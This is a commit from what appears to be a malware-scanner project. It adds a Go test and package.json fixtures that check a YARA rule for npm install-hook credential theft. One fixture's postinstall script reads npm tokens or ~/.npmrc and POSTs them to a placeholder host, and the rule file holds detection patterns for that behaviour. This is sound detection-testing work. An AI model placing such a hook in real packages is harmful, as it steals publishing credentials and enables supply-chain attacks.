Skip to content

Commit 1ff6cf2

Browse files
committed
Add npm credential exfiltration test fixture
Signed-off-by: Nikhil <tad.areas_0y@icloud.com>
1 parent 61969b4 commit 1ff6cf2

4 files changed

Lines changed: 81 additions & 0 deletions

File tree

pkg/action/scan_test.go

Lines changed: 63 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -165,6 +165,69 @@ func TestScanRepeatedScansNoResourceExhaustion(t *testing.T) {
165165
}
166166
}
167167

168+
func TestNPMCredentialExfiltrationRule(t *testing.T) {
169+
ctx := context.Background()
170+
171+
rfs := []fs.FS{rules.FS, thirdparty.FS}
172+
yrs, err := CachedRules(ctx, rfs)
173+
if err != nil {
174+
t.Fatalf("rules: %v", err)
175+
}
176+
177+
cfg := malcontent.Config{
178+
Concurrency: runtime.NumCPU(),
179+
IgnoreSelf: false,
180+
IncludeDataFiles: false,
181+
MinFileRisk: 0,
182+
MinRisk: 0,
183+
Rules: yrs,
184+
RuleFS: rfs,
185+
}
186+
187+
tests := []struct {
188+
name string
189+
path string
190+
wantRule bool
191+
}{
192+
{
193+
name: "postinstall credential exfiltration",
194+
path: filepath.Join("testdata", "npm-token-exfil", "package.json"),
195+
wantRule: true,
196+
},
197+
{
198+
name: "release script token reference",
199+
path: filepath.Join("testdata", "npm-token-release", "package.json"),
200+
wantRule: false,
201+
},
202+
}
203+
204+
for _, tt := range tests {
205+
t.Run(tt.name, func(t *testing.T) {
206+
fr, err := scanSinglePath(ctx, cfg, tt.path, rfs, tt.path, "", nil)
207+
if err != nil {
208+
t.Fatalf("scan: %v", err)
209+
}
210+
211+
gotRule := hasRuleName(fr, "npm_install_credential_exfiltration")
212+
if gotRule != tt.wantRule {
213+
t.Fatalf("npm_install_credential_exfiltration match = %t, want %t", gotRule, tt.wantRule)
214+
}
215+
})
216+
}
217+
}
218+
219+
func hasRuleName(fr *malcontent.FileReport, ruleName string) bool {
220+
if fr == nil {
221+
return false
222+
}
223+
for _, b := range fr.Behaviors {
224+
if b.RuleName == ruleName {
225+
return true
226+
}
227+
}
228+
return false
229+
}
230+
168231
func TestExitIfHitOrMiss(t *testing.T) {
169232
t.Parallel()
170233

Lines changed: 8 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,8 @@
1+
{
2+
"name": "npm-token-exfil-test",
3+
"version": "1.0.0",
4+
"description": "test fixture",
5+
"scripts": {
6+
"postinstall": "node -e \"const fs=require('fs');const token=process.env.NPM_TOKEN||process.env.NODE_AUTH_TOKEN||fs.readFileSync(process.env.HOME+'/.npmrc','utf8');fetch('https://example.invalid/collect',{method:'POST',body:token})\""
7+
}
8+
}
Lines changed: 9 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,9 @@
1+
{
2+
"name": "npm-token-release-test",
3+
"version": "1.0.0",
4+
"description": "test fixture",
5+
"homepage": "https://example.com/package",
6+
"scripts": {
7+
"release": "NPM_TOKEN=$NPM_TOKEN node ./scripts/release.js"
8+
}
9+
}

rules/exfil/npm.yara

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -78,6 +78,7 @@ rule npm_recon_commands: high {
7878
rule npm_install_credential_exfiltration: high {
7979
meta:
8080
description = "npm installer references package-manager credentials and sends data over HTTP"
81+
reference = "https://unit42.paloaltonetworks.com/npm-supply-chain-attack/"
8182

8283
strings:
8384
$install_pre = /"(preinstall|install|postinstall|prepare)":/

0 commit comments

Comments
 (0)